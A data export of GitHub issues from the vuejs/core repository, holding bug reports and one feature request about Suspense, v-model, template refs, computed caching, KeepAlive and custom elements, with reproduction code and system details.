https://play.vuejs.org/#eNqFU8tu2zAQ/BWWF9uoa6FoT65sNC1yaIG2QV3kxIsqrWQmNCnwoTgQ9O/dFSXZRRLHJ3J3Zji7Grf8qq5XTQC+5qnLraw9c+BDvRVaHmpjPWtZAaXUcOUedf7VYFGD9ktmoWQdK605sBkKzD4JLXRutPOMUGzzLG8+X7DNlkXt+WyVUIcMzBaLMwW3N0EVu715+J+Oqvju3NsABE+T6Bnd4sXDoVaZB7wxlv4N3hvNPudK5vcbwS9IvnmpJ/jWm6pSkCZRLkrvgqtBO2DNO1lekEY64ZFBpXik38FVyLqVHthbdhtA8NhLonwy6uM1Taap+JJ7h+spZbW6c0bjJ2sJL3iO6lKB/VV7iesTfM36DvUypczD975GW1uO9XwP+f0z9Tt3pJrgNxYc2AbNTT2f2QpwKmpf737CEc9T82CKoBB9ofkbnFGBPEbYl6ALtH2G691+68MhdfXHXR89LmIciowSsuvxgmNsaLEvjX6y+2H1secJ3eEWx8hdyrzRP0zQHoqnQaesxWjfWFO7ef8eftI123mLrtFctzhFWbpBachumSnXh1fo6ZHhX9ErTfhVk6kAyKKxEd+9lvhCNmMiJ5FTBPfvt21LPlnXpQneSKHvEC9XmXNIzDN74uBYg0oEJogcIjqd4qOAMw0kbfxIY4+4/jP4WZjpcd79A7O0hXo=

### Steps to reproduce

1. Click the `toggle` button

### What is expected?

The `Suspense` component unmounts without an error.

### What is actually happening?

The `Suspense` component unmounts, but the app crashes - the error pops up and the `toggle` button no longer works.

### System Info

```shell

```

### Any additional comments?

I was trying to implement a loader for async components with some reload logic (retries, reload when connection is restored - things like that). And one of the components had a client-only logic in it: it was rendering the actual content only after the `mounted` hook. I didn't use the `errorComponent`/`onError` from the `AsyncComponentOptions` because i needed to reload the componen... [TRUNCATED]","scope: suspense,has workaround,:hammer: p3-minor-bug",2025-02-20T11:32:33Z,2026-03-25T08:28:46Z,2
vuejs/core,2864974274,v-model 如果数据变更，卸载组件会产生游离节点；数据不变更时无此现象,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNp9Uc1uEzEQfhXjS1up2S0KcEg3EVAVCQ6AKEdLaLOZTdx6bcs/m6DVHvsEwIE7SH2EHqq+Tf/eomNvN22lqj555vtm5vtmGvpO66T2QEc0c1BpkTuYMElINvXOKfy8LQQvjsaMKnngpxV3jE72DCAvSztO5DcN4VJ7R9o2lpfKVKQe8BIr7UItP2DMKCEiny75zC0wnXunMGXdTwEYVvlqEKERebOzo1c4J3QKL+ta14NKzUAgN8aMpp3UNAzDb5Y+sIChLQzXDkfKOdY4G4aB8xpRXmllHGmIgZK0pDSqIhu4hw0mCyWtuzMzDvjm1m6f7Z3cAc54uAf7BSG4uUXGE9IEdbFRUufCAwLSC7FL0pRcnh7f/P13ff7r4vj/xdmfq98ngdz3X/NfPM7gLFxvlnbO0AfdRl84vuTz5NAqiXeMUxktVKW5APNFO47yGB11egKWC6GWn2IuWNju88UCiqMn8ocWrzHCz1cDFkwNjK4xl5s54C0CvH/wGVb4X4N4Ly+Q/Qz4DawSPmjsaO+9nKHsB7yo9mM8GJfz73Z/5UDa3lQQGpht5DOKR9x7xvq93GHyKtbhSnGLP2owoScucJi8Tl4OaXsLO20QBw==

### Steps to reproduce

描述：v-model 如果数据变更，卸载组件会产生游离节点；数据不变更时无此现象

视频：https://github.com/user-attachments/assets/a3c19e3e-d6a3-4ba3-8b01-3c52e40dc929

### What is expected?

v-model 如果数据变更，卸载组件不会产生游离节点

### What is actually happening?

vModelText 源码实现是否有问题？为何不添加beforeUnmount生命周期移除监听事件？

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-02-20T03:28:29Z,2025-02-20T04:09:02Z,0
vuejs/core,2859909184,Nested Vue component does not render when bundled separately using Webpack for Options API,"### Vue version

3.5.13 (also tested on 3.3.11)

### Link to minimal reproduction

https://github.com/gerteck/vue-render-bug

### Steps to reproduce

1. **Setup**:
   - Create a Vue project with components using Vue 3.x.
   - Bundle Vue components separately from the server-side rendering logic using Webpack (using `webpack-vue.config.js`).
   - Use the bundled components in the server-side rendering script (`index.mjs` or `index-server.js`).


Actual Behavior: When Vue components are bundled separately (using Webpack) and imported into the server-side code, the nested components do not render as expected. The output is missing the content of the child component (Test2Component), but the parent component (TestComponent) is rendered.

### What is expected?

**Expected Behavior**:

The nested Vue component (e.g., `TestComponent`) should render correctly with its child components (e.g., `Test2Component`) when bundled separately.


### What is actually happening?

When Vue components are bundled separately (using Webpack) and imported into the server-side code, the nested components do not render as expected. The output is missing the content of the child component (`Test2Component`), but the parent component (`TestComponent`) is rendered.

The child component is rendered as a empty comment. 

Also getting the relevant errors (tested on separate setup)
```
[Vue warn]: resolveComponent can only be used in render() or setup().
[Vue warn]: Component <Anonymous> is missing template o... [TRUNCATED]",,2025-02-18T10:00:04Z,2025-02-19T00:13:14Z,1
vuejs/core,2857691337,v-model cannot be used with custom element created with defineCustomElement() and defineModel(),"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/stackblitz-starters-rwpavvok?file=vue-app%2Fsrc%2FApp.vue&view=editor

### Steps to reproduce

- Create a lib with vite/vue
- Create a custom element inside the lib that uses 'defineModel()' to enable two-way data binding
- Register it with `defineCustomElement()`
- Consume this element in a vue app

### What is expected?

`v-model` can be used to create two-way data binding with the custom element.

### What is actually happening?

`v-model` cannot be used. Instead, two-way data binding has to be setup manually:

```html
<p>foo: {{ foo }}</p>
<p>
  This won't work:
  <vv-ce v-model=""foo""></vv-ce>
</p>
<p>
  This will work:
  <vv-ce :modelValue=""foo"" @update:modelValue=""foo = $event.detail[0]""></vv-ce>
</p>
```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 18.20.3 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.2.3 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
```

### Any additional comments?

_No response_",,2025-02-17T12:19:23Z,2025-02-18T01:04:03Z,1
vuejs/core,2857594552,The template ref was not set to null correctly after the conditional rendering was updated,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ustu2zAQ/JUtD5EMCDJStxfXCdAWObRAH0h9q4KAkFYyE4oUSEpxYOjfs6QkWwmSXGxxZ2Z39nFgX5sm7Vpka7axuRGNA4uubS4zJepGGwcH2CVgsExAq1+6VQ6LBAoshcLvmigKlUtA4d5tRX4PPZRG1xBRzihTmcq1sg62SD8XL2XxIVMw1IsXEB4Ag6CUvCIB1Y2daXHxZQ6ixJrk11iOFA8PhKPHmNtHlQPlvbicUkNIm3ZctkjKkkuLY2IA/sCFO/YRUg6Ar6klplJX8anykGVi9ScHhtox6mXhMfp/ej+zcnYGuzgqRBclNG5qaD1vsU/AY+fRIjmpP7wlH9kfZ+ybyWT47yke7G6Ww8Jp1fRwWDeSO6QXwCbsa0nfm+UMYAlzlsZRiiq9s1rR0YQGM5bTSoVE86dxgsaVsfXUesa4lPrhZ4j5VY62SLPD/P6V+J3d+1jG/hq0aDrM2BFz3FToBvjq329a1gysddFKYr8DXiOtsvUeB9q3VhVke8YLbn+E0xeq2tqrvUNlp6a80WmInk1X7q/5rdZPdlfpp6Cj2dMUbzs0PicNcJV+Ts9XrH8CvcIf9Q==

### Steps to reproduce

```vue
<script setup>
import { h, ref, onMounted, defineComponent, nextTick } from 'vue'

const Test = defineComponent({
  setup() {
    const flag = ref(true);
    const elementRef = ref();

    onMounted(async () => {
      flag.value = false;
      await nextTick();
      console.log(elementRef.value);
    });

    return () => {
      return [
        flag.value && h('div', { ref: elementRef }, 'div1'),
        !flag.value && h('div', {}, 'div2'),
      ];
    };
  },
});
</script>

<template>
  <Test />
</template>
```


### What is expected?

The final value of elementRef is null

### What is actually happening?

The final value of elementRef is div2

### System Info

```shell
System:
    OS: macOS 14.6
    CPU: (12) x64 Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz
    Memory: 3.62 ... [TRUNCATED]",:hammer: p3-minor-bug,2025-02-17T11:38:33Z,2025-06-05T02:19:50Z,0
vuejs/core,2857325698,Default value set by `withDefaults` + `defineProps` is not correct,"### Vue version

3.4.14

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kT1vwjAQhv+K5QWQEB3YIqDqB0M7tKjt6CUKl2Dq2JbvDJHS/Peek/IxVGy+933te+7cygfvZ4cIMpMLLIL2JBAoemFyWy2VJFRypWzhLJLwwXkUS3HUtHuGMo+GcLyFUlvYJGvRKisEhODCfSbK3CCIH4EUtK2U7VbjyVRcIpkYjVidKLu4G1pzIy4Iam9yAq6EaNu/rl2XcleenDIcc5W6mu3RWZ6gf1vJwtVeGwjvnjRzK5kNXZOXG+OOr71GIcL0pBc7KL7/0ffYJE3JTQCEcAAlzx7loQIa7PXnGzR8Ppu120bD6RvmB6AzMTEOscdot4x9letpX2rvAvEKv3DdEFg8DZVAU7Lr80ryNz7dGP2CO5/N+3u8fdn9AvnNrDs=

### Steps to reproduce

Use `withDefaults` + `defineProps`  and define the type and default value

```
const props = withDefaults(defineProps<{
  error?: false | string
}>(), {
  error: ''
})
```

![Image](https://github.com/user-attachments/assets/c6eb13b6-966a-45ba-af5a-869cea9805c2)

### What is expected?

`props.error === ''`

### What is actually happening?

`props.error === true`

### System Info

```shell
  System:
    OS: macOS 13.5.2
    CPU: (10) x64 Apple M1 Pro
    Memory: 27.73 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 18.20.1 - ~/.nvm/versions/node/v18.20.1/bin/node
    Yarn: 1.22.22 - /usr/local/bin/yarn
    npm: 10.5.0 - ~/.nvm/versions/node/v18.20.1/bin/npm
    pnpm: 8.15.9 - ~/.nvm/versions/node/v18.20.1/bin/pnpm
    Watchman: 2024.11.11.00 - /usr/local/bin/watchman
  Browsers:
    Chrome: 133.0.6943.55
    Safari: 16.6
```

### Any additional comments?

_No response_",,2025-02-17T09:50:26Z,2025-02-17T09:54:53Z,3
vuejs/core,2857188716,JSX render parse error,"### Vue version

latest

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-j8qgog1u?file=src%2FApp.vue,tsconfig.app.json&terminal=dev

### Steps to reproduce

run this repo, it will render `() => /* @__PURE__ */ React.createElement(""div"", null, ""123"")`

### What is expected?

normal display `123`

### What is actually happening?

Get a error message: `ReferenceError: React is not defined`

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-02-17T08:54:11Z,2025-02-17T09:02:50Z,1
vuejs/core,2857064006,Vue JSX 事件属性不能正确覆盖,"### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UktOwzAQvYrlTVOpSsVnVaWVALGABSBgh1mEdBrcumPLn1Ip6oYNZ0KcB3ENJk7SdlFYeTzvzZuZZ1f8zJh0FYCPeOYKK41nKsdyLPjcrQWfCJRLo61nFbMwG7ApzCTChaYkAnq2YTOrl6xHEj2BAmEd2UTLg4rnPj2pBDLmwAeT9Fm8MFZodNRVl46N6ybJ03N/HzFWmxpq6YxpvFCyWIwYaYwnsTJd5SpAaoJ7TY7a6k1zWOpmseVmtFCdzF6C95rmbRSrNE1jm7Zm22NcHe5x3G+Zk5/3z++Pr2zYCHbyxkIbkvhe8VxLTHpCYK8TyIY7bjaMASEb2kFgNmyehLJ8wL0jP2ayTOdOI71X9EPwgsyVCuyt8ZL8EnzUOSV4rpR+u445bwMMunzxCsXiQD6++YiCOwsO7AoE32I+tyX4Br58uIE1xVtwqadBEfsf8B6cVqGesaGdB5zS2Hu8OO1V/G4Sy0d3ufaArluqHjS6E/mC04+r/9Vfq+/GPUlPO1f55hd0R/OY

### Steps to reproduce

JSX元素存在多个同名属性（示例里面是onClick）

### What is expected?

同名属性应该被覆盖，只会执行最后一个onClick

### What is actually happening?

全部都执行了

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-02-17T07:57:32Z,2025-02-17T09:05:12Z,4
vuejs/core,2855144744,Custom events in functional TSX components throwing type error,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-u2jhnk4p?file=src%2FApp.tsx

### Steps to reproduce

[load repo in ide,](https://stackblitz.com/edit/vitejs-vite-u2jhnk4p?file=src%2FApp.tsx)(stackblitz) open up App.tsx:

![Image](https://github.com/user-attachments/assets/6f1ca0d6-dc09-4786-b24e-d4076e3951c8)

### What is expected?

No error on custom events in tsx files

### What is actually happening?

error on custom events in tsx files

### System Info

```shell
System:
    OS: macOS 14.6.1
    CPU: (12) arm64 Apple M3 Pro
    Memory: 216.02 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.11.0 - ~/.nvm/versions/node/v22.11.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v18.19.0/bin/yarn
    npm: 10.9.0 - ~/.nvm/versions/node/v22.11.0/bin/npm
    pnpm: 9.14.2 - ~/.nvm/versions/node/v22.11.0/bin/pnpm
    bun: 1.1.4 - /opt/homebrew/bin/bun
  Browsers:
    Chrome: 133.0.6943.55
    Edge: 133.0.3065.59
    Safari: 18.3


### package.json dependencies


{
  ""name"": ""vite-vue-typescript-starter"",
  ""private"": true,
  ""version"": ""0.0.0"",
  ""type"": ""module"",
  ""scripts"": {
    ""dev"": ""vite"",
    ""build"": ""vue-tsc -b && vite build"",
    ""preview"": ""vite preview""
  },
  ""dependencies"": {
    ""vue"": ""^3.5.13""
  },
  ""devDependencies"": {
    ""@vitejs/plugin-vue"": ""^5.2.1"",
    ""@vitejs/plugin-vue-jsx"": ""^4.1.1"",
    ""@vue/tsconfig"": ""^0.7.0"",
    ""typescript"": ""~5.7.2"",
    ""vite"": ""^6.1.0"",
    ""vue-tsc"": ""^2.2.0... [TRUNCATED]",,2025-02-15T04:33:53Z,2025-02-15T20:53:54Z,2
vuejs/core,2851158156,Watch is executed twice even though it's paused,"### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9VE1z2jAQ/SsaXTATxjBtTxSYpmkO7aHNNJnpRRcjFqLEljzSCugw/u9dSTbYNJMTaN/bt98+8du6zvce+JwvnLSqRuYAfb0SWlW1schO7FCgfGYN21pTsRGRR597qIXtABNaaGm0IyG/rhTeGa+RLQMvm40v6NbYqjWfhGYsWEGjm7P4ZAyqQpVzhtZDMDRCNz137+DW/dXyW4EFyWRjtlwlzzY4FuhdG2CkNiWMoneHwxGkRxi6stYt3xelD9ioBr1ReherCril5ljNNBzYA5WsHGQWnCn3xF6F1j2pCozHbKAa/CIpGxVrGRJJ1utozksJzlG0Fr90MJFubhLUTNiH2Ww2jkrUmfDTpjYoZNK2MhXbtfF6RBS6387sakp/wvzBEituQhZkgj2KpzqTTt7GycYRajPZANSDMUb5i9RAYdiRZa8nvWitcC+3vC6ogpR4ByWRvNurPO4TFbEtSkep/K9BM/JVFOnSXEzTTdA10AOhqssCgV6MLdYe0Wj2RZZKvi4Fv26B4KvHaFpMEzWKkGO4rRA6oQgbdjoNbqVpGNIWucieBvpi2ovNJxwdVbVVu/zFGU2nGxsiuDRVrUqwv2pUVLXg51sSvChLc/gRbWEU7WKQzzPI1zfsL+4YbII/UFvA7kHwM4aF3QEm+P7xJxzp/xmszMaXxH4H/B2OwYccE+2r13SftseL2X6Pnxi6vid3f0TQrivqvEuRLzh9du7eKf2S7sf8U3cDvPkH4QCoUg==

### Steps to reproduce

Click on the button, observe how form watcher triggers the `execute()` method twice even though it is paused, form update takes place, and only then the watcher is resumed. Is this the expected behaviour?

### What is expected?

Form watcher triggered once.

### What is actually happening?

Form watcher triggered twice.

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-02-13T14:10:57Z,2025-02-13T14:41:39Z,4
vuejs/core,2850469466,"Type-only props are unable to infer primitive runtime prop types from generic types, which breaks boolean casting","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNVE1vEzEQ/SuWhRBIVVYCTmG7CFBBcIAKInHxZbOZpC5e2/JHmird/96x197dtGnTk8cz742fZ8be089az7Ye6JyWtjFcO2LBeV0xyVutjCNfVavJ2qiWMDorwi7gGWWSybLoOYjGjYNWi9oB7ggpr95VC+OhLNCIjphIG95yx7dAbkytNazy+h0kGN4QL7mS6PYyA4oh37da2IcJQ7QsJkfTM+pso+Sab2bXVkm82T7AGW0QzwWY39rhGZbROYmREKuFUDc/o8+h6rPsb66g+X/Ef213wcfopQELZosFGWKuNhtwffji7y/YoT0EW7XyAtHPBP+AVcIHjT3si5crlD3BRbU/Yn+43Czsxc6BtPlSQWhAdhHPKLYrlOqpq49y388+RB6THVYxt3oyGqKWm3NkYIJhTNytBvLvoInloiLnZEHuiL1tl0qgIX27xCscoBGzVEpALY8hmcQmWocTo7RF6ArWXMJl2JVR+zBKn+Y5z8fgT3OD3nTO1JsUjsEsOWWoIngYPsQ9EIbGeFhHXvd1TFN7cGZXvXmLy3NvxIu4oiV4sib3wh7t++vPxmfTYXcioxgoU3LSPaHmZ/QyYirHY35+nyfSpEJM+PlBnyQ+lj7+ASfIyHjVz8kx4NKkP+QpuyxiIw6/ke4elrixhQ==

### Steps to reproduce

Our specific issue is that when the runtime prop type missing, the [Boolean Casting](https://vuejs.org/guide/components/props.html#boolean-casting) doesn't work as expected. 

1. Define a generic type like:
```ts
type Wrapped<T> = T | number | string:
```
2. Create a component with type-only props, that uses the type:
```vue
<script lang=""ts"" setup>
const props = defineProps<{
  wrapped?: Wrapped<boolean>;
}>();
</script>
```
3. Try to use the boolean prop:
```vue
<template>
  <Comp wrapped /> <!-- component acts like `wrapped` is undefined -->
</template>
```
4. => The component acts like `wrapped` is undefined`
5. => See output, runtime-prop is missing:
> const __sfc__ = /*@__PURE__*/_defineComponent({
>   __nam... [TRUNCATED]","scope: compiler,scope: sfc,:hammer: p3-minor-bug",2025-02-13T09:27:09Z,2025-08-21T01:48:41Z,3
vuejs/core,2850408161,【bug】bugtest,"### Vue version

3

### Link to minimal reproduction

【bug】bugtest

### Steps to reproduce

【bug】bugtest

### What is expected?

【bug】bugtest

### What is actually happening?

【bug】bugtest

### System Info

```shell
【bug】bugtest
```

### Any additional comments?

【bug】bugtest",,2025-02-13T09:02:14Z,2025-02-13T09:02:59Z,0
vuejs/core,2848892460,Property 'onInputClick' does not exist on type `{ $props: DatePickerProps & VNodeProps }`,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/~/github.com/martinszeltins/template-ref-test

### Steps to reproduce

I wanted to use `useTemplateRef` on a component instance but I am getting this type error:

````
app.vue:18:85 - error TS2339: Property 'onInputClick' does not exist on type '{ $props: DatePickerProps & VNodeProps & AllowedComponentProps & ComponentCustomProps; $slots: DatePickerSlots; $emit: ((e: ""update:modelValue"", value: Date | ... 3 more ... | undefined) => void) & ... 11 more ... & ((e: ""keydown"", event: Event) => void); }'.

18  console.log('datePickerEl.value.onInputClick', toRaw(datePickerEl.value.onInputClick)) // ƒ onInputClick()
````

What is interesting is that the function `onInputClick` actually does exist on the Date Picker and it works too. But my IDE and type checker throws an error. I also tried to use `ComponentPublicInstance` but that didn't work either.

**app.vue**

```vue
<template>
    <div>
        <DatePicker ref=""datePickerEl"" v-model=""date"" />
        <button @click=""showDatePicker"">Show Datepicker!</button>
    </div>
</template>

<script setup lang=""ts"">
    import DatePicker from 'primevue/datepicker'

    const date = ref()

    const datePickerEl = useTemplateRef('datePickerEl')
    // const datePickerEl = useTemplateRef<ComponentPublicInstance<typeof DatePicker>>('datePickerEl')

    const showDatePicker = () => {
        if (datePickerEl.value) {
            console.log('datePickerEl.value.... [TRUNCATED]",,2025-02-12T17:14:25Z,2025-02-13T01:11:49Z,2
vuejs/core,2846396038,KeepAlive + Transition + v-if 同时使用时会导致时会导致内存泄漏的问题依然存在,"### Vue version

3.5.13

### Link to minimal reproduction

无

### Steps to reproduce



<!-- Uploading ""图片.png""... -->

与问题 [KeepAlive + Transition + v-if 同时使用时会导致时会导致内存泄漏的2个bug #10620 #10620](https://github.com/vuejs/core/issues/10620) 一致

### What is expected?

回收掉销毁的页面

### What is actually happening?

没回收掉 

![Image](https://github.com/user-attachments/assets/388aa260-1da3-478d-90b9-6ad025abcaaa)

### System Info

```shell
""vue"": ""^3.5.13"",
        ""vue-i18n"": ""9.2.2"",
        ""vue-jsonp"": ""2.0.0"",
        ""vue-router"": ""^4.3.0"",

浏览器 Google Chrome 133.0.6943.59
```

### Any additional comments?

_No response_","scope: transition,scope: keep-alive,:exclamation: p4-important",2025-02-11T20:05:09Z,2025-02-12T07:30:09Z,3
vuejs/core,2846341903,Accept undefined as prop when exactOptionalPropertyTypes is enabled in tsconfig,"### Vue version

3.5.12

### Link to minimal reproduction

https://github.com/amritk/vue-exact-optional-property-types

### Steps to reproduce

Create a component like so
```vue
<script setup lang=""ts"">
const { hello = 'world' } = defineProps<{ hello?: string }>()
</script>
<template>
  <div>
    <p>{{ hello }}</p>
  </div>
</template>
```

enable `exactOptionalProperties` in tsconfig

### What is expected?

You should be able to pass undefined into the prop as you can in [typescript](https://www.typescriptlang.org/play/?exactOptionalPropertyTypes=true#code/MYewdgzgLgBFCm0YF4YAoAW8A22QC4ZoAnASzAHMUYByAdxGOwBMaBKFAPhgG8BYAFABIUJBDZ4AOjwVMOPG0EBfQQmhpFAtVDQBXMM3gAzcvGZsgA)
```ts
const test = (hello: string = 'world') => {
	console.log(hello)
}

test()
test(undefined)
```

### What is actually happening?

![Image](https://github.com/user-attachments/assets/a211cf12-ec41-4134-b72c-2180e24e19e8)
It gives an error saying undefined is not assignable to string. However we have a default set so it will end up being a string.

```zsh
src/App.vue:6:4 - error TS2379: Argument of type '{ msg: undefined; }' is not assignable to parameter of type '{ readonly msg?: string; } & VNodeProps & AllowedComponentProps & ComponentCustomProps & Record<string, unknown>' with 'exactOptionalPropertyTypes: true'. Consider adding 'undefined' to the types of the target's properties.
  Type '{ msg: undefined; }' is not assignable to type '{ readonly msg?: string; }' with 'exactOptionalPropertyTypes: true'. ... [TRUNCATED]",scope: types,2025-02-11T19:39:37Z,2025-02-13T02:42:03Z,2
vuejs/core,2846021140,"When no dependencies are passed in, computed does not use the cache.","### Vue version

3.5

### Link to minimal reproduction

https://play.vuejs.org/#eNqNUctOwzAQ/JWVL0nVKgjBqWorAeoBDoCAoy9Wug0pjm35ESpF+XfWjhJaCRA3a2Z2PLPbsRtjijYgW7KVK21tPDj0wWy4qhujrYcOLIrS1y0uSt2Y4HEHPeytbiCjwYyrUitHY154hPWkzjuuAMQSLrnqZ2equ9FnDaNlns9gvYE0E5VaYiF1lWcio1kgVx+sOvUaFWeORStkQFIktBDz+X/Eq4uhOpVeeWyMJBG9ASI1AWzBvCOzfV0VB6cVrSzF5SyWqCXaJ+Nr+oyz5VAkckJK/fmQMG8DLka8fMfy4wf84I4R4+zZokPbImcT54Wt0A/09vURj/SeyEbvgiT1H+QL0iJCzDjIboPaUewTXUp7nw5fq+rNbY8elRtLxaBR2Sc9Z3T+uMvfqn/HvSqu0xxdj/Vfdv/Vcg==

### Steps to reproduce

``` vue
<script setup>
import { reactive,computed } from 'vue'
const state = reactive({
  a: 1
})
const stateComputed = computed(() => {
  console.log('a')
  return 1
})
console.log(stateComputed.value)
state.a++
console.log(stateComputed.value)
</script>
```

### What is expected?

print a 1 1

### What is actually happening?

print a 1 a 1

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-02-11T17:20:15Z,2025-02-12T02:14:44Z,1
vuejs/core,2844983896,Wrong value type in initial render bacause of attribute reflection from vue custom element,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNq9VF1v2jAU/Su31qQkUgaC7YkRtLXiYXvopnVv86RCuIG0iW3ZDqNC+e+7sQOkrJT2pS+Q63N87re37ItSvXWFbMTGJtW5smDQVmrCRV4qqS1sQWMGNWRalhAQNfjUwVYnkQVmucCrylhZTgssUdhHXC64SKUwFq5kqQaQPHUj3HIBoLRUZgTuG2A9Kyokq44b2/9qFAvUYbTjaMpBC1iFwSJfBzHctpfebe0qNz1n1THYB+UP6V9m0MFuI8qF1Lmoo8eRDl8fqbegdff7uirnqGO4sToXyxgupSxwJv64TJzPN0srz8KLtJuG6S3RhkH58N6isUHUuj7i+PwPtNj3kCRJ+azq8IWyw1Z3uNP1TRCufNQFmstwEMUwp/q1ptUVEtsTrVwuCySECphMvEcKra2Kl/F1gSRJIPAnQXQEQTCgYQXAwuAxNGiAxv/+5OJguajHfb9WtFBkWCxVMbNIFsC4zRNGjp5w5tU5g/4JQiP+DOyc/4cPzzroMM4pdF04yryyVgr4nBZ5ek8EX3XOJv6Dxn/rBnJfcqjrcd/fIo1xv1MTFjNrqHlZvuzdGSnoVXJd4yylOcgL1N+Vzam5nO3XirNZUci/39xZ0/92jejOCtP7J87vzKY54+yHRoN6TcHuMTvTNKoent5c44a+92ApF1WT2jPgTzSyqJoYPe2yEgsKu8Nz0X51ryRt/y8z3VgUZpdUE+hh/zmjl7JZgVOpH8L90Pu422xW/wN8IPde

### Steps to reproduce

- Observe the initial render result in preview, we can see for number value and boolean `true`, they are actuall strings

![Image](https://github.com/user-attachments/assets/c2a9d8c9-9541-4f9f-b7b7-6798d410344d)

- click toggle for several times, we can see later results are correct

### What is expected?

value type should be as it is

### What is actually happening?

I know if I use `type: Number` for props, vue will transform them into number, but if it's a mixed types(or no type definition) like below, vue will not do the transform, that is useful if we want to use the props as they actually are
```js
props: {
  value: {},
},
p... [TRUNCATED]",":hammer: p3-minor-bug,scope: custom elements",2025-02-11T10:37:07Z,2025-05-22T00:38:29Z,0
vuejs/core,2844936055,useTemplateRef warning appears after rollup packaging,"### Version
3.5.13

### Reproduction link
[stackblitz.com](https://stackblitz.com/edit/vitejs-vite-ul5tjt9k?file=src%2Fmain.js,src%2FApp.vue,rollup.config.js,package.json,index.html,vite.config.js&terminal=dev)







### Steps to reproduce
When the useTemplateRef argument has the same name as the variable that received it, a console warning appears after using rollup

### What is expected?
No warnings

### What is actually happening?
[Vue warn] Set operation on key ""value"" failed: target is readonly.

<!-- generated by vue-issues. DO NOT REMOVE -->",":lady_beetle:  bug,has workaround,:hammer: p3-minor-bug",2025-02-11T10:17:09Z,2025-08-21T00:46:11Z,16
vuejs/core,2843746458,warnRecursiveComputed no longer works,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-exn7drue?file=src%2FApp.vue

### Steps to reproduce

1. Set the `app.config.warnRecursiveComputed` flag to true
2. Create a computed that mutates its dependencies
3. Use that computed in the template

### What is expected?

Vue should log a warning because the computed is still dirty after being evaluated

### What is actually happening?

No warning is logged

### System Info

```shell

```

### Any additional comments?

The warning is mentioned in #10341, and the config option is added in 23953dd795c71ea074f348a775d2242314d8ea99.

It seems that much of the code for computed refs was moved into a separate function, [`refreshComputed`](https://github.com/vuejs/core/blob/2ab70c2/packages/reactivity/src/effect.ts#L364), at which point the functionality was lost.

I got a minimal patch working by duplicating the initial dirty check into the `finally` block after `cleanupDeps`, though I'm not certain if that's the right place for it:
```ts
    activeSub = prevSub
    shouldTrack = prevShouldTrack
    cleanupDeps(computed)

    if (
      computed._warnRecursive &&
      !computed.isSSR &&
      computed.deps &&
      isDirty(computed)
    ) {
      console.warn(""O no"", computed.fn)
    }

    computed.flags &= ~EffectFlags.RUNNING
```

In an ideal scenario the warning would be able to specify exactly which dependencies caused the computed to be dirty, but that might be too complex.
",:hammer: p3-minor-bug,2025-02-10T21:46:39Z,2025-05-18T08:00:06Z,2
vuejs/core,2843236791,Allow <keep-alive> to act like v-show,"### What problem does this feature solve?
In a single page app.
Trying to use <keep-alive> to keep a <router-view> alive that displays long lists of items has a lower performance than manually handling the component visibility with `v-show`.

Currently, using <keep-alive> in combination with <router-view> causes the UI to freeze as it still re-renders the list items when switching between routes. (Yes, it was implemented correctly as shown [here](https://router.vuejs.org/guide/advanced/router-view-slot))

Having a way for the <keep-alive> component to simply hide the kept alive components the same way that `v-show` does would allow me to use the it in combination with <router-view> and keep the same performance improvements I currently have with v-show.

### What does the proposed API look like?
A component prop like `<keep-alive strategy=""[some strategy option]"">` would be perfect.

Not sure of the option names, but something that would allow us to decide between the ""classic"" keep alive strategy and the `v-show` strategy.

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-02-10T18:06:37Z,2025-02-11T00:33:40Z,1
vuejs/core,2841546387,Vue context not available when using vnode - `_ctx.$t is not a function`,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/~/github.com/martinszeltins/vue-vnode-context

### Steps to reproduce

I created my component using vnode `h` function from Vue. I passed this component to my toast notification. Everything seems to work, except that I cannot access any Vue context inside my component. I am getting this error:

````
Uncaught (in promise) TypeError: _ctx.$t is not a function
    at Proxy._sfc_render (AppNotification.vue:5:80)
    at renderComponentRoot (chunk-7VTXWSWY.js?v=c9665c21:8581:17)
    at ReactiveEffect.componentUpdateFn [as fn] (chunk-7VTXWSWY.js?v=c9665c21:7403:46)
    at ReactiveEffect.run (chunk-7VTXWSWY.js?v=c9665c21:481:19)
    at setupRenderEffect (chunk-7VTXWSWY.js?v=c9665c21:7538:5)
    at mountComponent (chunk-7VTXWSWY.js?v=c9665c21:7313:7)
    at processComponent (chunk-7VTXWSWY.js?v=c9665c21:7266:9)
    at patch (chunk-7VTXWSWY.js?v=c9665c21:6782:11)
    at mountChildren (chunk-7VTXWSWY.js?v=c9665c21:7014:7)
    at mountElement (chunk-7VTXWSWY.js?v=c9665c21:6937:7)
````

**App.vue**

```vue
<template>
    <div @click=""showNotification"" style=""cursor: pointer; font-size: 40px; font-weight: bold"">
        {{ $t('click_me') }}
